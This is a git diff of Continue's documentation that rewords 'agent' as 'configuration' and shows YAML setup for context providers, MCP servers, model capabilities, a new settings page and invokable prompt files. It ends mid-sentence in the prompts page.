a/docs/customization/overview.mdx +++ b/docs/customization/overview.mdx @@ -1,6 +1,6 @@ --- title: "Customization Overview" -description: "Learn how to customize Continue with model providers, context providers, slash commands, and tools to create your perfect AI coding agent" +description: "Learn how to customize Continue with model providers, slash commands, and tools" --- Continue can be deeply customized to fit your specific development workflow and preferences. This guide covers the main ways you can customize Continue to enhance your coding experience. @@ -11,25 +11,25 @@ Continue allows you to choose your favorite or even add multiple model providers ## Select Different Models for Specific Tasks -Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for chat than you do for autocomplete. Learn more about [model roles](/customize/model-roles). +Different Continue features can use different models. We call these _model roles_. For example, you can use a different model for Chat mode than you do for Autocomplete. Learn more about [model roles](/customize/model-roles). ## Create a Slash Command -Slash commands allow you to easily add custom functionality to Continue. You can use a slash command that allows you to generate a shell command from natural language, or perhaps generate a commit message, or create your own custom command to do whatever you want. Learn more about [slash commands](/customize/deep-dives/slash-commands). +Slash commands allow you to easily add custom prompts to Continue. Learn more about [slash commands](/customize/deep-dives/prompts). ## Call External Tools and Functions -Unchain your LLM with the power of tools using [Agent](/features/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools) +Unchain your LLM with the power of tools using [Agent mode](/ide-extensions/agent/quick-start). Add custom tools using [MCP Servers](/customization/mcp-tools) -Whatever you choose, you'll probably start by editing your Agent. +Whatever you choose, you'll probably start by editing your configuration. -## Edit Your Agent +## Edit Your Configuration -You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. +You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing `cmd/ctrl` + `L` (VS Code) or `cmd/ctrl` + `J` (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. -![configure an agent](/images/customization/images/configure-continue-a5c8c79f3304c08353f3fc727aa5da7e.png) +![configure](/images/customization/images/configure-continue-a5c8c79f3304c08353f3fc727aa5da7e.png) -## Manage Your Agent +## Manage Your Configuration -- See [Editing Hub Agents](/hub/agents/edit-an-agent) for more details on managing your hub agent -- See the [Config Deep Dive](/reference) for more details on configuring local agents. +- See [Editing Hub Configurations](/hub/configs/edit-a-config) for more details on managing your hub configuration +- See the [Config Deep Dive](/reference) for more details on local configurations \ No newline at end of file diff --git a/docs/customization/prompts.mdx b/docs/customization/prompts.mdx index cf229284d..6ca6e1917 100644 --- a/docs/customization/prompts.mdx +++ b/docs/customization/prompts.mdx @@ -13,4 +13,6 @@ description: "These are the specialized instructions that shape how models respo ## Learn More -Prompts have the same syntax as [prompt files](/customization/prompts). The `config.yaml` spec for `prompts` can be found [here](/reference#prompts). +- [Explore prompts](https://hub.continue.dev/explore?type=prompts) on the Hub +- Learn more in the [prompts deep dive](/customize/deep-dives/prompts) +- View [`prompts`](/reference#prompts) in the YAML Reference for more details diff --git a/docs/customization/rules.mdx b/docs/customization/rules.mdx index 75dbfc811..0cd8d45db 100644 --- a/docs/customization/rules.mdx +++ b/docs/customization/rules.mdx @@ -13,6 +13,30 @@ By implementing rules, you transform the AI from a generic coding agent into a k ## How Rules Work -Your agent detects rules and applies the specified rules while in [Agent](/features/agent/quick-start), [Chat](/features/chat/quick-start), and [Edit](/features/edit/quick-start) modes. +Your agent detects rules and applies the specified rules while in [Agent](/ide-extensions/agent/quick-start), [Chat](/ide-extensions/chat/quick-start), and [Edit](/ide-extensions/edit/quick-start) modes. + +## Where to Manage Rules + + + +- Create files in `.continue/rules` folder +- Automatically appear with Hub assistants +- Edit directly in your file system +- Version controlled alongside your code +- Best for project-specific rules (e.g., "remember to generate migrations after modifying the db") + + + +- Manage on [Continue Hub](https://hub.continue.dev) +- Reference in config.yaml with `uses:` +- Share with team and community +- Easy to include in multiple agents +- Best for organization-wide rules (e.g., "always use X library for Y task") + + + + +**Quick Setup**: Start with local rules for immediate use, then promote commonly used rules to the Hub for sharing and reuse. + Learn more in the [rules deep dive](/customize/deep-dives/rules), and view [`rules`](/reference#rules) in the YAML Reference for more details. \ No newline at end of file diff --git a/docs/customization/settings.mdx b/docs/customization/settings.mdx new file mode 100644 index 000000000..756195a64 --- /dev/null +++ b/docs/customization/settings.mdx @@ -0,0 +1,190 @@ +--- +title: Settings +description: Configure Continue through VS Code's streamlined settings interface +--- + +Continue Settings Panel - Card-based Layout + +The new settings experience introduces a **card-based layout** that reduces visual clutter while maintaining powerful functionality. Every setting is more discoverable and easier to modify, whether you're on an ultrawide monitor or a small laptop screen. + +## Quick Access + + + + Click the gear in the Continue sidebar + + + File → Preferences → Settings → Extensions → Continue + + + Edit `config.yml` directly for advanced options + + + + + Use the toolbar buttons for quick access to specific settings: - **Rules** + (pencil icon) - Custom coding preferences - **Tools** (wrench icon) - Manage + integrations - **Models** (cube icon) - Configure AI providers + + +## Core Settings + + + + + + | Setting | Description | + |---------|-------------| + | Session Tabs | Manage multiple chat sessions | + | Code Wrapping | Auto-wrap long code lines | + | Markdown Display | Show raw markdown vs rendered | + | Chat Scrollbar | Toggle scrollbar visibility | + + + + | Setting | Description | + |---------|-------------| + | Auto-accept Diffs | Apply code changes automatically | + | Tool Rejection | Continue after tool rejection | + | Auto-naming | Generate session titles automatically | + + + + + + Configure code completions: + + Continue Autocomplete Settings + + + Autocomplete models need to be added to your config to enable selecting an autocomplete model. If none is available, you will be linked to the docs showing recommended models. See our [model recommendations](/customize/model-roles/autocomplete) for the best autocomplete models. + + + Autocomplete Model Selection + + + To better understand how to set up configs and models, see our [Understanding Configs guide](/guides/understanding-configs). + + + + + + Control how Continue understands your codebase: + + Continue Indexing Settings + + + + Toggle codebase indexing in the settings panel + + + Watch real-time status in the UI + + + Check which files are indexed via the status indicator + + + + + Indexing enables Continue to understand your entire codebase structure, significantly improving context awareness and suggestions. + + + + + + + These features are in beta and may change or have stability issues. + + + | Feature | Purpose | + |---------|---------| + | Add Current File by Default | The currently open file is added as context in every new conversation | + | Enable experimental tools | Enables access to experimental tools that are still in development | + | Only use system message tools | Continue will not attempt to use native tool calling and will only use system message tools | + | @Codebase: use tool calling only | @codebase context provider will only use tool calling for code retrieval | + | Stream after tool rejection | Streaming will continue after the tool call is rejected | + + + + +## Model & Assistant Selection + +New assistant dropdown with cleaner icons and improved organization display + +The refined assistant selector features: + +- **Organization badges** for easy provider identification +- **Smart error handling** that sorts problematic configurations while keeping them selectable +- **Keyboard navigation** for quick model switching + +## Privacy & Data + + + + All code analysis happens locally unless explicitly shared + + + Opt in/out of anonymous usage statistics + + + Sessions auto-save and restore between IDE restarts + + + +## Troubleshooting + + + + - Verify API keys in `config.yml` - Check network connectivity - Confirm + endpoint URLs are correct + + + + - Review MCP server configurations - Check tool permissions - Verify tool + dependencies are installed + + + + - Check file permissions + - Review `.gitignore` patterns + - Verify sufficient disk space + + + + + + Still having issues? Check our comprehensive [troubleshooting + guide](/troubleshooting) or visit the [FAQs](/faqs) for more solutions. + + +## Next Steps + + + + Set up your AI providers + + + Extend Continue with MCP tools + + + Define coding preferences + + + Customize AI behavior + + diff --git a/docs/customize/custom-providers.mdx b/docs/customize/custom-providers.mdx index 068f0cdca..702e8f9af 100644 --- a/docs/customize/custom-providers.mdx +++ b/docs/customize/custom-providers.mdx @@ -9,7 +9,7 @@ As an example, say you are working on solving a new GitHub Issue. You type '@Iss ## How Do Context Blocks Work? -You can add context providers to assistants using [`context` blocks](/hub/blocks/block-types#context). Explore available context blocks in [the hub](https://hub.continue.dev/explore/context). +Explore available context blocks in [the hub](https://hub.continue.dev/explore/context). ## Built-in Context Providers @@ -19,116 +19,62 @@ You can add any built-in context-providers in your config file as shown below: Reference any file in your current workspace. -- YAML -- JSON - config.yaml ``` context: - provider: file ``` -config.json - -```json -{ "contextProviders": [{ "name": "file" }] } -``` - ### @Code Context Provider – Reference Functions and Classes Reference specific functions or classes from throughout your project. -- YAML -- JSON - config.yaml ``` context: - provider: code ``` -config.json - -```json -{ "contextProviders": [{ "name": "code" }] } -``` - ### @Git Diff Context Provider – Reference Branch Changes Reference all of the changes you've made to your current branch. This is useful if you want to summarize what you've done or ask for a general review of your work before committing. -- YAML -- JSON - config.yaml ``` context: - provider: diff ``` -config.json - -```json -{ "contextProviders": [{ "name": "diff" }] } -``` - ### @Current File Context Provider – Reference the Active File Reference the currently open file. -- YAML -- JSON - config.yaml ``` context: - provider: currentFile ``` -config.json - -```json -{ "contextProviders": [{ "name": "currentFile" }] } -``` - ### @Terminal Context Provider – Reference Last Terminal Command and Output Reference the last command you ran in your IDE's terminal and its output. -- YAML -- JSON - config.yaml ``` context: - provider: terminal ``` -config.json - -```json -{ "contextProviders": [{ "name": "terminal" }] } -``` - ### @Docs Context Provider – Reference Documentation Site Content Reference the contents from any documentation site. -- YAML -- JSON - config.yaml ``` context: - provider: docs ``` -config.json - -```json -{ "contextProviders": [{ "name": "docs" }] } -``` - Note that this will only enable the `@Docs` context provider. To use it, you need to add a documentation site to your config file. See the [docs](/customize/overview#documentation-context) page for more information. @@ -137,9 +83,6 @@ To use it, you need to add a documentation site to your config file. See the [do Reference the contents of all of your open files. Set `onlyPinned` to `true` to only reference pinned files. -- YAML -- JSON - config.yaml ``` @@ -149,21 +92,12 @@ context: onlyPinned: true ``` -config.json - -```json -{ "contextProviders": [{ "name": "open", "params": { "onlyPinned": true } }] } -``` - ### @Web Context Provider – Reference Relevant Web Pages Reference relevant pages from across the web, automatically determined from your input. Optionally, set `n` to limit the number of results returned (default 6). -- YAML -- JSON - config.yaml ``` @@ -173,19 +107,10 @@ context: n: 5 ``` -config.json - -```json -{ "contextProviders": [{ "name": "web", "params": { "n": 5 } }] } -``` - ### @Codebase Context Provider – Reference Relevant Codebase Snippets Reference the most relevant snippets from your codebase. -- YAML -- JSON - config.yaml ``` @@ -193,40 +118,22 @@ context: - provider: codebase ``` -config.json - -```json -{ "contextProviders": [{ "name": "codebase" }] } -``` - Read more about indexing and retrieval [here](/customize/overview#codebase-context). ### @Folder Context Provider – Reference Code from a Specific Folder Uses the same retrieval mechanism as `@Codebase`, but only on a single folder. -- YAML -- JSON - config.yaml ``` context: - provider: folder ``` -config.json - -```json -{ "contextProviders": [{ "name": "folder" }] } -``` - ### @Search Context Provider – Reference Code Search Results Reference the results of codebase search, just like the results you would get from VS Code search. -- YAML -- JSON - config.yaml ``` @@ -236,21 +143,12 @@ context: maxResults: 100 # optional, defaults to 200 ``` -config.json - -```json -{ "contextProviders": [ { "name": "search", "params": { "maxResults": 100 // optional, defaults to 200 } } ]} -``` - This context provider is powered by [ripgrep](https://github.com/BurntSushi/ripgrep). ### @Url Context Provider – Reference Content from a URL Reference the markdown converted contents of a given URL. -- YAML -- JSON - config.yaml ``` @@ -258,19 +156,10 @@ context: - provider: url ``` -config.json - -```json -{ "contextProviders": [{ "name": "url" }] } -``` - ### @Clipboard Context Provider – Reference Clipboard Items Reference recent clipboard items -- YAML -- JSON - config.yaml ``` @@ -278,19 +167,10 @@ context: - provider: clipboard ``` -config.json - -```json -{ "contextProviders": [{ "name": "clipboard" }] } -``` - ### @Tree Context Provider – Reference Workspace File Structure Reference the structure of your current workspace. -- YAML -- JSON - config.yaml ``` @@ -298,19 +178,10 @@ context: - provider: tree ``` -config.json - -```json -{ "contextProviders": [{ "name": "tree" }] } -``` - ### @Problems Context Provider – Reference Problems in the Current File Get Problems from the current file. -- YAML -- JSON - config.yaml ``` @@ -318,19 +189,10 @@ context: - provider: problems ``` -config.json - -```json -{ "contextProviders": [{ "name": "problems" }] } -``` - ### @Debugger Context Provider – Reference Debugger Local Variables Reference the contents of the local variables in the debugger. Currently only available in VS Code. -- YAML -- JSON - config.yaml ``` @@ -340,12 +202,6 @@ context: stackDepth: 3 ``` -config.json - -```json -{ "contextProviders": [{ "name": "debugger", "params": { "stackDepth": 3 } }] } -``` - Uses the top _n_ levels (defaulting to 3) of the call stack for that thread. ### @Repository Map Context Provider – Reference Codebase Outline and Signatures @@ -354,9 +210,6 @@ Reference the outline of your codebase. By default, signatures are included alon `includeSignatures` params can be set to false to exclude signatures. This could be necessary for large codebases and/or to reduce context size significantly. Signatures will not be included if indexing is disabled. -- YAML -- JSON - config.yaml ``` @@ -366,12 +219,6 @@ context: includeSignatures: false # default true ``` -config.json - -```json -{ "contextProviders": [ { "name": "repo-map", "params": { "includeSignatures": false // default true } } ]} -``` - Provides a list of files and the call signatures of top-level classes, functions, and methods in those files. This helps the model better understand how a particular piece of code relates to the rest of the codebase. In the submenu that appears, you can select either `Entire codebase`, or specify a subfolder to generate the repository map from. @@ -382,9 +229,6 @@ This context provider is inspired by [Aider's repository map](https://aider.chat Reference the architecture and platform of your current operating system. -- YAML -- JSON - config.yaml ``` @@ -392,19 +236,10 @@ context: - provider: os ``` -config.json - -```json -{ "contextProviders": [{ "name": "os" }] } -``` - ### Using the Model Context Protocol (MCP) in Continue The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a standard proposed by Anthropic to unify prompts, context, and tool use. Continue supports any MCP server with the MCP context provider. Read their [quickstart](https://modelcontextprotocol.io/quickstart) to learn how to set up a local server and then set up your configuration like this: -- YAML -- JSON - config.yaml ``` @@ -417,24 +252,6 @@ mcpServers: - /Users/NAME/test.db ``` -config.json - -```json -{ - "experimental": { - "modelContextProtocolServers": [ - { - "transport": { - "type": "stdio", - "command": "uvx", - "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"] - } - } - ] - } -} -``` - You'll then be able to type "@" and see "MCP" in the context providers dropdown. ### How to Request a New Context Provider in Continue diff --git a/docs/customize/deep-dives/configuration.mdx b/docs/customize/deep-dives/configuration.mdx index 7b3a302a9..694b75430 100644 --- a/docs/customize/deep-dives/configuration.mdx +++ b/docs/customize/deep-dives/configuration.mdx @@ -1,26 +1,26 @@ --- -title: "How to Configure Continue Agents" -description: Learn how to access and manage Continue agent configurations through Hub or local YAML files +title: "How to Configure Continue" +description: Learn how to access and manage Continue configurations through Hub or local YAML files keywords: [config, settings, customize] -sidebarTitle: "Agent Configuration" +sidebarTitle: "Configuration" --- -You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. +You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon. -![configure an agent](/images/configure-continue.png) +![configure](/images/configure-continue.png) -## How to Manage Hub Agents +## How to Manage Hub Configs -Hub Agents can be managed in [the Hub](https://hub.continue.dev). See [Editing an Agent](../../hub/agents/edit-an-agent.md) + Hub Configs can be managed in [the Hub](https://hub.continue.dev). See [Editing a config](/hub/configs/edit-a-config) -## How to Configure Local Agents with YAML +## How to Configure Local Configs with YAML Local user-level configuration is stored and can be edited in your home directory in `config.yaml`: - `~/.continue/config.yaml` (MacOS / Linux) - `%USERPROFILE%\.continue\config.yaml` (Windows) -To open this `config.yaml`, you need to open the agents dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Agent" option, select the cog icon. It will open the local `config.yaml`. +To open this `config.yaml`, you need to open the configs dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Config" option, select the cog icon. It will open the local `config.yaml`. ![local-config-open-steps](/images/local-config-open-steps.png) @@ -31,7 +31,7 @@ See the full reference for `config.yaml` [here](/reference). ## Legacy Configuration Methods (Deprecated) - View the `config.json` migration guide [here](../yaml-migration) + View the `config.json` migration guide [here](/reference/yaml-migration) - [`config.json`](/reference) - The original configuration format which is stored in a file at the same location as `config.yaml` @@ -63,7 +63,7 @@ Example The `slashCommands` array shown below is deprecated. For creating custom slash - commands, use [prompt files](./slash-commands) instead. + commands, use [prompt files](./prompts) instead. ```ts title="config.ts" diff --git a/docs/customize/deep-dives/custom-providers.mdx b/docs/customize/deep-dives/custom-providers.mdx index dc60dc560..9adc078ab 100644 --- a/docs/customize/deep-dives/custom-providers.mdx +++ b/docs/customize/deep-dives/custom-providers.mdx @@ -15,251 +15,95 @@ You can add any built-in context-providers in your config file as shown below: Reference any file in your current workspace. - - - ```yaml config.yaml - context: - - provider: file - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "file" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: file +``` ### `@Code` Reference specific functions or classes from throughout your project. - - - ```yaml config.yaml - context: - - provider: code - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "code" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: code +``` ### `@Git Diff` Reference all of the changes you've made to your current branch. This is useful if you want to summarize what you've done or ask for a general review of your work before committing. - - - ```yaml config.yaml - context: - - provider: diff - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "diff" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: diff +``` ### `@Current File` Reference the currently open file. - - - ```yaml config.yaml - context: - - provider: currentFile - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "currentFile" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: currentFile +``` ### `@Terminal` Reference the last command you ran in your IDE's terminal and its output. - - - ```yaml config.yaml - context: - - provider: terminal - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "terminal" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: terminal +``` ### `@Open` Reference the contents of all of your open files. Set `onlyPinned` to `true` to only reference pinned files. - - - ```yaml config.yaml - context: - - provider: open - params: - onlyPinned: true - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "open", - "params": { - "onlyPinned": true - } - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: open + params: + onlyPinned: true +``` ### `@Clipboard` Reference recent clipboard items - - - ```yaml config.yaml - context: - - provider: clipboard - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "clipboard" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: clipboard +``` ### `@Tree` Reference the structure of your current workspace. - - - ```yaml config.yaml - context: - - provider: tree - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "tree" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: tree +``` ### `@Problems` Get Problems from the current file. - - - ```yaml config.yaml - context: - - provider: problems - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "problems" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: problems +``` ### `@Debugger` Reference the contents of the local variables in the debugger. Currently only available in VS Code. - - - ```yaml config.yaml - context: - - provider: debugger - params: - stackDepth: 3 - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "debugger", - "params": { - "stackDepth": 3 - } - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: debugger + params: + stackDepth: 3 +``` Uses the top _n_ levels (defaulting to 3) of the call stack for that thread. @@ -269,30 +113,12 @@ Reference the outline of your codebase. By default, signatures are included alon `includeSignatures` params can be set to false to exclude signatures. This could be necessary for large codebases and/or to reduce context size significantly. Signatures will not be included if indexing is disabled. - - - ```yaml config.yaml - context: - - provider: repo-map - params: - includeSignatures: false # default true - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "repo-map", - "params": { - "includeSignatures": false // default true - } - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: repo-map + params: + includeSignatures: false # default true +``` Provides a list of files and the call signatures of top-level classes, functions, and methods in those files. This helps the model better understand how a particular piece of code relates to the rest of the codebase. @@ -304,56 +130,23 @@ This context provider is inpsired by [Aider's repository map](https://aider.chat Reference the architecture and platform of your current operating system. - - - ```yaml config.yaml - context: - - provider: os - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "os" - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: os +``` ### `@HTTP` The HttpContextProvider makes a POST request to the url passed in the configuration. The server must return 200 OK with a ContextItem object or an array of ContextItems. - - - ```yaml config.yaml - context: - - provider: http - params: - url: "https://api.example.com/v1/users" - headers: - - Authorization: "Bearer " - ``` - - - ```json config.json - { - "contextProviders": [ - { - "name": "http", - "params": { - "url": "https://api.example.com/v1/users" - } - } - ] - } - ``` - - +```yaml config.yaml +context: + - provider: http + params: + url: "https://api.example.com/v1/users" + headers: + - Authorization: "Bearer " +``` The receiving URL should expect to receive the following parameters: @@ -375,36 +168,15 @@ Response The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a standard proposed by Anthropic to unify prompts, context, and tool use. Continue supports any MCP server with the MCP context provider. Read their [quickstart](https://modelcontextprotocol.io/quickstart) to learn how to set up a local server and then set up your configuration like this: - - - ```yaml config.yaml - mcpServers: - - name: My MCP Server - command: uvx - args: - - mcp-server-sqlite - - --db-path - - /Users/NAME/test.db - ``` - - - ```json config.json - { - "experimental": { - "modelContextProtocolServers": [ - { - "transport": { - "type": "stdio", - "command": "uvx", - "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"] - } - } - ] - } - } - ``` - - +```yaml config.yaml +mcpServers: + - name: My MCP Server + command: uvx + args: + - mcp-server-sqlite + - --db-path + - /Users/NAME/test.db +``` You'll then be able to type "@" and see "MCP" in the context providers dropdown. diff --git a/docs/customize/deep-dives/mcp.mdx b/docs/customize/deep-dives/mcp.mdx index 074448104..b804ca4c1 100644 --- a/docs/customize/deep-dives/mcp.mdx +++ b/docs/customize/deep-dives/mcp.mdx @@ -19,19 +19,19 @@ that can be set up with custom tools. Currently custom tools can be configured using the Model Context Protocol standard to unify prompts, context, and tool use. -MCP Servers can be added to hub Agents using `mcpServers` blocks. You can -explore available MCP server blocks +MCP Servers can be added to hub configs using `mcpServers`. You can +explore available MCP servers [here](https://hub.continue.dev/explore/mcp). MCP can only be used in the **agent** mode. ## Quick Start: How to Set Up Your First MCP Server -Below is a quick example of setting up a new MCP server for use in your agent: +Below is a quick example of setting up a new MCP server for use in your config: 1. Create a folder called `.continue/mcpServers` at the top level of your workspace -2. Add a file called `playwright-mcp.yaml` to this folder. -3. Write the following contents to `playwright-mcp.yaml` and save. +2. Add a file called `playwright-mcp.yaml` to this folder +3. Write the following contents and save ```yaml title=".continue/mcpServers/playwright-mcp.yaml" name: Playwright mcpServer @@ -56,54 +56,44 @@ The result will be a generated file called `hn.txt` in the current working direc ## How to Set Up Continue Documentation Search with MCP -You can set up an MCP server to search the Continue documentation directly from your agent. This is particularly useful for getting help with Continue configuration and features. +You can set up an MCP server to search the Continue documentation directly from your config. This is particularly useful for getting help with Continue configuration and features. For complete setup instructions, troubleshooting, and usage examples, see the [Continue MCP Reference](/reference/continue-mcp). +## Using JSON MCP Format from Claude, Cursor, Cline, etc + + +If you're coming from another tool that uses JSON MCP format configuration files (like Claude Desktop, Cursor, or Cline), you can copy those JSON config files directly into your `.continue/mcpServers/` directory (note the plural "Servers") and Continue will automatically pick them up. + +For example, place your JSON MCP config file at `.continue/mcpServers/mcp.json` in your workspace. + + ## How to Configure MCP Servers To set up your own MCP server, read the [MCP quickstart](https://modelcontextprotocol.io/quickstart) and then [create an -`mcpServers` -block](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP +`mcpServers`](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP server block to your [config file](./configuration.md): - - - ```yaml title="config.yaml" - mcpServers: - - name: SQLite MCP - command: npx - args: - - "-y" - - "mcp-sqlite" - - "/path/to/your/database.db" +```yaml title="config.yaml" +# ... +mcpServers: + - name: SQLite MCP + command: npx + args: + - "-y" + - "mcp-sqlite" + - "/path/to/your/database.db" +# ... +``` -```` - - -```json title="config.json" -{ - "experimental": { - "modelContextProtocolServers": [ - { - "transport": { - "type": "stdio", - "command": "uvx", - "args": ["mcp-server-sqlite", "--db-path", "/path/to/your/database.db"] - } - } - ] - } -} -```` - - - + +When creating a standalone block file in `.continue/mcpServers/`, remember to include the required metadata fields (`name`, `version`, `schema`) as shown in the Quick Start example above. + ### How to Configure MCP Server Properties -MCP blocks follow the established syntax for blocks, with a few additional properties specific to MCP servers. +MCP components include a few additional properties specific to MCP servers. - `name`: A display name for the MCP server. - `type`: The type of the MCP server: `sse`, `stdio`, `streamable-http` @@ -120,10 +110,12 @@ MCP now supports remote server connections through HTTP-based transports, expand For real-time streaming communication, use the SSE transport: ```yaml +# ... mcpServers: - name: Name type: sse url: https://.... +# ... ``` #### How to Use Standard Input/Output (`stdio`) @@ -131,6 +123,7 @@ mcpServers: For local MCP servers that communicate via standard input and output: ```yaml +# ... mcpServers: - name: Name type: stdio @@ -138,6 +131,7 @@ mcpServers: args: - "@modelcontextprotocol/server-sqlite" - "/path/to/your/database.db" +# ... ``` #### How to Use Streamable HTTP Transport @@ -145,10 +139,12 @@ mcpServers: For standard HTTP-based communication with streaming capabilities: ```yaml +# ... mcpServers: - name: Name type: streamable-http url: https://.... +# ... ``` These remote transport options allow you to connect to MCP servers hosted on remote infrastructure, enabling more flexible deployment architectures and shared server resources across multiple clients. @@ -161,6 +157,7 @@ With some MCP servers you will need to use API keys or other secrets. You can le as well as access hosted secrets in the Continue Hub. To leverage Hub secrets, you can use the `inputs` property in your MCP env block instead of `secrets`. ```yaml +# ... mcpServers: - name: Supabase MCP command: npx @@ -178,4 +175,5 @@ mcpServers: - "@modelcontextprotocol/server-github" env: GITHUB_PERSONAL_ACCESS_TOKEN: ${{ secrets.GITHUB_PERSONAL_ACCESS_TOKEN }} +# ... ``` diff --git a/docs/customize/deep-dives/model-capabilities.mdx b/docs/customize/deep-dives/model-capabilities.mdx index 661ce9c5e..eca29cf04 100644 --- a/docs/customize/deep-dives/model-capabilities.mdx +++ b/docs/customize/deep-dives/model-capabilities.mdx @@ -210,9 +210,14 @@ This matrix shows which models support tool use and image input capabilities. Co ### xAI -| Model | Tool Use | Image Input | Context Window | -| :----- | -------- | ----------- | -------------- | -| Grok 4 | Yes | Yes | 128k | +| Model | Tool Use | Image Input | Context Window | +| :------------------------ | -------- | ----------- | -------------- | +| Grok Code Fast 1 | Yes | Yes | 256k | +| Grok 4 Fast Reasoning | Yes | Yes | 2M | +| Grok 4 Fast Non-Reasoning | Yes | Yes | 2M | +| Grok 4 | Yes | Yes | 256k | +| Grok 3 | Yes | Yes | 131k | +| Grok 3 Mini | Yes | Yes | 131k | ### Moonshot AI diff --git a/docs/customize/deep-dives/prompts.mdx b/docs/customize/deep-dives/prompts.mdx index d80466da7..204f5bab1 100644 --- a/docs/customize/deep-dives/prompts.mdx +++ b/docs/customize/deep-dives/prompts.mdx @@ -1,62 +1,106 @@ --- -title: "Creating Custom Prompts in Continue" -description: "Learn how to create reusable prompt files in Continue to streamline repetitive tasks, including examples for code reviews, security checks, and entity generation" +title: "How to Create and Manage Prompts in Continue" +description: "Prompts are used to kick off tasks for Agent mode, Plan mode, and Chat mode" +keywords: [prompts, context, slash command] +sidebarTitle: "Prompts" --- -Prompts are reusable instructions that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks. +Prompts are included as user messages and are especially useful as instructions for repetitive and/or complex tasks. - - Prompts were previously defined in a `.prompt` file format, but for - consistency we now recommend using the same Markdown format as - [rules](./rules) and adding `alwaysApply: false` to the frontmatter so - that they are manually triggered. - +## Slash commands -## Quick Start: How to Create Your First Prompt File +By setting `invokable` to `true`, you make the markdown file a prompt, which will be available when you type / in Chat, Plan, and Agent mode. -Below is a quick example of setting up a prompt file: - -1. Create a folder called `.continue/rules` at the top level of your workspace -2. Add a file called `review-prompt.md` to this folder. -3. Write the following contents to `review-prompt.md` and save. - -```md title="review-prompt.md" +```md title="explain-invokable.md" --- -name: Redux best practices review -alwaysApply: false +name: Explain invokable +description: Explains what happens when you set invokable to true +invokable: true --- -Review the currently open file for adherence to Redux best practices, as explained in their style guide at https://redux.js.org/style-guide/. +Explain that when `invokable` is set to `true`, a slash command becomes available in the IDE extensions and CLI ``` -Now to use this prompt, you can open Chat, type /, select the prompt, and type out any additional instructions you'd like to add. +These slash commands can be combined with other instructions, including highlighted code, to provide additional context. -## Example Prompt Templates for Common Use Cases +## Example: `Create Supabase functions` prompt -Below are more examples to get you started. You can also visit the Hub to [explore prompts](https://hub.continue.dev/explore/prompts) or [create your own](https://hub.continue.dev/new?type=block&blockType=prompts). +Here is a prompt that generates high-quality PostgreSQL functions that adhere to best practices: -### How to Create a Security Review Prompt - -```md title="security-review.md" +```md title="supabase-create-functions.md" --- -name: Security best practices review -alwaysApply: false +name: Create Supabase functions +description: Guidelines for writing Supabase database functions +invokable: true --- -Review the changes in the current git diff for these security best practices: +# Database: Create functions -- Does the architecture follow security-by-design principles? -- Are there potential security vulnerabilities in the system design? -- Is sensitive data handled appropriately throughout the lifecycle? +You're a Supabase Postgres expert in writing database functions. Generate **high-quality PostgreSQL functions** that adhere to the following best practices: + +## General Guidelines + +1. **Default to `SECURITY INVOKER`:** + + - Functions should run with the permissions of the user invoking the function, ensuring safer access control. + - Use `SECURITY DEFINER` only when explicitly required and explain the rationale. + +2. **Set the `search_path` Configuration Parameter:** + + - Always set `search_path` to an empty string (`set search_path = '';`). + - This avoids unexpected behavior and security risks caused by resolving object references in untrusted or unintended schemas. + - Use fully qualified names (e.g., `schema_name.table_name`) for all database objects referenced within the function. + +3. **Adhere to SQL Standards and Validation:** + - Ensure all queries within the function are valid PostgreSQL SQL queries and compatible with the specified context (ie. Supabase). + +... ``` -### How to Create a Prompt That References Existing Files +You can read the rest of the `Create Supabase functions` prompt [here](http://hub.continue.dev/supabase/create-functions) -```md title="typeorm-entity-generator.md" ---- -name: Generate a new TypeORM entity -alwaysApply: false ---- +If you are using a local `config.yaml`, you can add it to your config like this: -Referencing `src/db/dataSource.ts` and 